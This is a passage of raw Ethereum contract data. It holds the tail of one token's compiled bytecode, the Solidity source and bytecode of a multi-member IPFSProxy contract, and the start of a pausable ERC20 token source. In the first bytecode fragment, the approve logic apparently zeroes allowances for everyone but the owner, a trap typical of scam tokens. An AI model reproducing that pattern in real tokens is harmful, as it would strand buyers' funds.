20016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206d1ca1355b0a08e438685bcb1f16e96fcaa1f70639e20885e4217b3c5b98b28864736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,536 |
0xf5758d7450a6e7076d99db583f037b47b5135744 | pragma solidity ^0.4.19;
// File: contracts/IPFSEvents.sol
contract IPFSEvents {
event HashAdded(string hash, uint ttl);
event HashRemoved(string hash);
event MetadataObjectAdded(string hash);
event MetadataObjectRemoved(string hash);
}
// File: contracts/Multimember.sol
contract Multimember {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint membersDone;
uint index;
}
// EVENTS
// this contract only has seven types of events: it can accept a confirmation, in which case
// we record member and operation (hash) alongside it.
event Confirmation(address member, bytes32 operation);
event Revoke(address member, bytes32 operation);
// some others are in the case of an member changing.
event MemberChanged(address oldMember, address newMember);
event MemberAdded(address newMember);
event MemberRemoved(address oldMember);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlymember {
if (isMember(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanymembers(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanymembers" transactions
// as well as the selection of addresses capable of confirming them.
function Multimember(address[] _members, uint _required) public {
m_numMembers = _members.length + 1;
m_members[1] = uint(msg.sender);
m_memberIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _members.length; ++i) {
m_members[2 + i] = uint(_members[i]);
m_memberIndex[uint(_members[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint memberIndex = m_memberIndex[uint(msg.sender)];
// make sure they're an member
if (memberIndex == 0)
return;
uint memberIndexBit = 2**memberIndex;
var pending = m_pending[_operation];
if (pending.membersDone & memberIndexBit > 0) {
pending.yetNeeded++;
pending.membersDone -= memberIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an member `_from` with another `_to`.
function changeMember(address _from, address _to) onlymanymembers(keccak256(_from,_to)) external {
if (isMember(_to))
return;
uint memberIndex = m_memberIndex[uint(_from)];
if (memberIndex == 0)
return;
clearPending();
m_members[memberIndex] = uint(_to);
m_memberIndex[uint(_from)] = 0;
m_memberIndex[uint(_to)] = memberIndex;
MemberChanged(_from, _to);
}
function addMember(address _member) onlymanymembers(keccak256(_member)) public {
if (isMember(_member))
return;
clearPending();
if (m_numMembers >= MAXMEMBERS)
reorganizeMembers();
if (m_numMembers >= MAXMEMBERS)
return;
m_numMembers++;
m_members[m_numMembers] = uint(_member);
m_memberIndex[uint(_member)] = m_numMembers;
MemberAdded(_member);
}
function removeMember(address _member) onlymanymembers(keccak256(_member)) public {
uint memberIndex = m_memberIndex[uint(_member)];
if (memberIndex == 0)
return;
if (m_required > m_numMembers - 1)
return;
m_members[memberIndex] = 0;
m_memberIndex[uint(_member)] = 0;
clearPending();
reorganizeMembers(); //make sure m_numMembers is equal to the number of members and always points to the optimal free slot
MemberRemoved(_member);
}
function changeRequirement(uint _newRequired) onlymanymembers(keccak256(_newRequired)) external {
if (_newRequired > m_numMembers)
return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
function isMember(address _addr) public constant returns (bool) {
return m_memberIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _member) external constant returns (bool) {
var pending = m_pending[_operation];
uint memberIndex = m_memberIndex[uint(_member)];
// make sure they're an member
if (memberIndex == 0)
return false;
// determine the bit to set for this member.
uint memberIndexBit = 2**memberIndex;
return !(pending.membersDone & memberIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint memberIndex = m_memberIndex[uint(msg.sender)];
// make sure they're an member
if (memberIndex == 0)
return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which members have confirmed (none) - set our bitmap to 0.
pending.membersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this member.
uint memberIndexBit = 2**memberIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.membersDone & memberIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
} else {
// not enough: record that this member in particular confirmed.
pending.yetNeeded--;
pending.membersDone |= memberIndexBit;
}
}
}
function reorganizeMembers() private returns (bool) {
uint free = 1;
while (free < m_numMembers) {
while (free < m_numMembers && m_members[free] != 0) {
free++;
}
while (m_numMembers > 1 && m_members[m_numMembers] == 0) {
m_numMembers--;
}
if (free < m_numMembers && m_members[m_numMembers] != 0 && m_members[free] == 0) {
m_members[free] = m_members[m_numMembers];
m_memberIndex[m_members[free]] = free;
m_members[m_numMembers] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of members that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_members
uint public m_numMembers;
// list of members
uint[256] m_members;
uint constant MAXMEMBERS = 250;
// index on the list of members to allow reverse lookup
mapping(uint => uint) m_memberIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// File: contracts/IPFSProxy.sol
contract IPFSProxy is IPFSEvents, Multimember {
uint public persistLimit;
event PersistLimitChanged(uint limit);
event ContractAdded(address pubKey,uint startBlock);
event ContractRemoved(address pubKey);
/**
* @dev Constructor - adds the owner of the contract to the list of valid members
*/
function IPFSProxy(address[] _members,uint _required, uint _persistlimit) Multimember (_members, _required) public {
setTotalPersistLimit(_persistlimit);
for (uint i = 0; i < _members.length; ++i) {
MemberAdded(_members[i]);
}
addContract(this,block.number);
}
/**
* @dev Add hash to persistent storage
* @param _ipfsHash The ipfs hash to propagate.
* @param _ttl amount of time is seconds to persist this. 0 = infinite
*/
function addHash(string _ipfsHash, uint _ttl) public onlymember {
HashAdded(_ipfsHash,_ttl);
}
/**
* @dev Remove hash from persistent storage
* @param _ipfsHash The ipfs hash to propagate.
*/
function removeHash(string _ipfsHash) public onlymember {
HashRemoved(_ipfsHash);
}
/**
* Add a contract to watch list. Each proxy will then
* watch it for HashAdded and HashRemoved events
* and cache these events
* @param _contractAddress The contract address.
* @param _startBlock The startblock where to look for events.
*/
function addContract(address _contractAddress,uint _startBlock) public onlymember {
ContractAdded(_contractAddress,_startBlock);
}
/**
* @dev Remove contract from watch list
*/
function removeContract(address _contractAddress) public onlymember {
require(_contractAddress != address(this));
ContractRemoved(_contractAddress);
}
/**
* Add a metadata of an object. Each proxy will then
* read the ipfs hash file with the metadata about the object and parse it
*/
function addMetadataObject(string _metadataHash) public onlymember {
HashAdded(_metadataHash,0);
MetadataObjectAdded(_metadataHash);
}
/**
* removed a metadata of an object.
*/
function removeMetadataObject(string _metadataHash) public onlymember {
HashRemoved(_metadataHash);
MetadataObjectRemoved(_metadataHash);
}
/**
* @dev set total allowed upload
*
**/
function setTotalPersistLimit (uint _limit) public onlymanymembers(keccak256(_limit)) {
persistLimit = _limit;
PersistLimitChanged(_limit);
}
} | 0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b1ca49a146100f65780631fe51f821461012f578063300abd61146101585780635536844214610181578063746c9171146101de578063a230c52414610207578063af47752814610258578063b5522e89146102b5578063b75c7dc6146102f7578063ba51a6df1461031e578063c0bb6c2714610341578063c2cf732614610364578063c353a89e146103c2578063c375c2ef1461041a578063c96f504114610453578063ca6d56dc146104b9578063fa59d199146104f2575b600080fd5b341561010157600080fd5b61012d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061054f565b005b341561013a57600080fd5b6101426106c0565b6040518082815260200191505060405180910390f35b341561016357600080fd5b61016b6106c7565b6040518082815260200191505060405180910390f35b341561018c57600080fd5b6101dc600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506106cd565b005b34156101e957600080fd5b6101f1610817565b6040518082815260200191505060405180910390f35b341561021257600080fd5b61023e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061081d565b604051808215151515815260200191505060405180910390f35b341561026357600080fd5b6102b3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610853565b005b34156102c057600080fd5b6102f5600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109a6565b005b341561030257600080fd5b61031c600480803560001916906020019091905050610a24565b005b341561032957600080fd5b61033f6004808035906020019091905050610b38565b005b341561034c57600080fd5b6103626004808035906020019091905050610bb7565b005b341561036f57600080fd5b6103a860048080356000191690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c1f565b604051808215151515815260200191505060405180910390f35b34156103cd57600080fd5b610418600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c9f565b005b341561042557600080fd5b610451600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec3565b005b341561045e57600080fd5b6104b7600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050610f73565b005b34156104c457600080fd5b6104f0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102a565b005b34156104fd57600080fd5b61054d600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111a5565b005b600081604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390206105ab81611253565b156106bb5761010260008473ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915060008214156105eb576106ba565b600180540360005411156105fe576106ba565b60006002836101008110151561061057fe5b0181905550600061010260008573ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061064d61145f565b610655611515565b507f6e76fb4c77256006d9c38ec7d82b45a8c8f3c27b1d6766fffc42dfb8de68449283604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5b505050565b6101055481565b60015481565b6106d63361081d565b15610814577f692b13c4ae14384c86067c051aab033690eee637544b39272a7ce03d397911e3816040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073d578082015181840152602081019050610722565b50505050905090810190601f16801561076a5780820380516001836020036101000a031916815260200191505b509250505060405180910390a17ff3865eef141cd6675da8f4daf1a58923ca5873d9ade45d87b55d048d34c8bf1a816040518080602001828103825283818151815260200191508051906020019080838360005b838110156107d95780820151818401526020810190506107be565b50505050905090810190601f1680156108065780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b50565b60005481565b60008061010260008473ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b61085c3361081d565b156109a3577f5408fd7f5e5816164e1c98cc4d631233737963ce260f8ac2c5d85b895bfbc9ff8160006040518080602001838152602001828103825284818151815260200191508051906020019080838360005b838110156108cb5780820151818401526020810190506108b0565b50505050905090810190601f1680156108f85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a17f6080dac389662cd5c2c1b74876cff3c343500a99e9f0bcd2488346545c732c2b816040518080602001828103825283818151815260200191508051906020019080838360005b8381101561096857808201518184015260208101905061094d565b50505050905090810190601f1680156109955780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b50565b6109af3361081d565b15610a20577ff5258aee5f005d2bd983df8c969cd8db92fce883ceeab8c8a3f1e2f71aecb7ac8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b5050565b600080600061010260003373ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205492506000831415610a6457610b32565b8260020a91506101036000856000191660001916815260200190815260200160002090506000828260010154161115610b315780600001600081548092919060010191905055508181600101600082825403925050819055507fc7fb647e59b18047309aa15aad418e5d7ca96d173ad704f1031a2c3d7591734b3385604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019250505060405180910390a15b5b50505050565b80604051808281526020019150506040518091039020610b5781611253565b15610bb357600154821115610b6b57610bb2565b81600081905550610b7a61145f565b7facbdb084c721332ac59f9b8e392196c9eb0e4932862da8eb9beaf0dad4f550da826040518082815260200191505060405180910390a15b5b5050565b80604051808281526020019150506040518091039020610bd681611253565b15610c1b5781610105819055507f4b763fe790b8ee35d687c7519e4c28df97f1d0ecbc9812d7bb01ce1909e8ecf0826040518082815260200191505060405180910390a15b5050565b60008060008061010360008760001916600019168152602001908152602001600020925061010260008673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821415610c825760009350610c96565b8160020a9050600081846001015416141593505b50505092915050565b60008282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401925050506040518091039020610d3e81611253565b15610ebd57610d4c8361081d565b15610d5657610ebc565b61010260008573ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821415610d9157610ebc565b610d9961145f565b8273ffffffffffffffffffffffffffffffffffffffff1660028361010081101515610dc057fe5b0181905550600061010260008673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508161010260008573ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f05d866cd9c6000815d031b7ce30f30f643766eba16be13cff25924dc8ad820928484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15b5b50505050565b610ecc3361081d565b15610f70573073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f0c57600080fd5b7f8d30d41865a0b811b9545d879520d2dde9f4cc49e4241f486ad9752bc904b56581604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b50565b610f7c3361081d565b15611026577f5408fd7f5e5816164e1c98cc4d631233737963ce260f8ac2c5d85b895bfbc9ff82826040518080602001838152602001828103825284818151815260200191508051906020019080838360005b83811015610fea578082015181840152602081019050610fcf565b50505050905090810190601f1680156110175780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15b5050565b80604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401915050604051809103902061108481611253565b156111a1576110928261081d565b1561109c576111a0565b6110a461145f565b60fa6001541015156110ba576110b8611515565b505b60fa6001541015156110cb576111a0565b6001600081548092919060010191905055508173ffffffffffffffffffffffffffffffffffffffff1660026001546101008110151561110657fe5b018190555060015461010260008473ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fb251eb052afc73ffd02ffe85ad79990a8b3fed60d76dbc2fa2fdd7123dffd91482604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a15b5b5050565b6111ae3361081d565b15611250577f692b13c4ae14384c86067c051aab033690eee637544b39272a7ce03d397911e3816040518080602001828103825283818151815260200191508051906020019080838360005b838110156112155780820151818401526020810190506111fa565b50505050905090810190601f1680156112425780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b50565b60008060008061010260003373ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549250600083141561129457611457565b61010360008660001916600019168152602001908152602001600020915060008260000154141561131a5760005482600001819055506000826001018190555061010480548091906001016112e9919061165c565b826002018190555084610104836002015481548110151561130657fe5b906000526020600020900181600019169055505b8260020a90506000818360010154161415611456577fe1c52dc63b719ade82e8bea94cc41a0d5d28e4aaf536adb5e9cccc9ff8c1aeda3386604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600019166000191681526020019250505060405180910390a16001826000015411151561142e5761010461010360008760001916600019168152602001908152602001600020600201548154811015156113df57fe5b9060005260206000209001600090556101036000866000191660001916815260200190815260200160002060008082016000905560018201600090556002820160009055505060019350611457565b8160000160008154809291906001900391905055508082600101600082825417925050819055505b5b505050919050565b600080610104805490509150600090505b818110156115025760006001026101048281548110151561148d57fe5b906000526020600020900154600019161415156114f7576101036000610104838154811015156114b957fe5b906000526020600020900154600019166000191681526020019081526020016000206000808201600090556001820160009055600282016000905550505b806001019050611470565b61010460006115119190611688565b5050565b600080600190505b600154811015611658575b6001548110801561154b575060006002826101008110151561154657fe5b015414155b1561155d578080600101915050611528565b5b600180541180156115825750600060026001546101008110151561157e57fe5b0154145b1561159f576001600081548092919060019003919050555061155e565b600154811080156115c4575060006002600154610100811015156115bf57fe5b015414155b80156115e157506000600282610100811015156115dd57fe5b0154145b15611653576002600154610100811015156115f857fe5b01546002826101008110151561160a57fe5b01819055508061010260006002846101008110151561162557fe5b0154815260200190815260200160002081905550600060026001546101008110151561164d57fe5b01819055505b61151d565b5090565b8154818355818115116116835781836000526020600020918201910161168291906116a9565b5b505050565b50805460008255906000526020600020908101906116a691906116a9565b50565b6116cb91905b808211156116c75760008160009055506001016116af565b5090565b905600a165627a7a7230582002232080981adbe665cabb126e311027074fe633a376a283e573f1c13ccbcc480029 | {"success": true, "error": null, "results": {}} | 10,537 |
0xca6a603a63cd916247ddda1aef0cf4c2d15051ee | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpauseunpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public
view
returns (uint256);
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
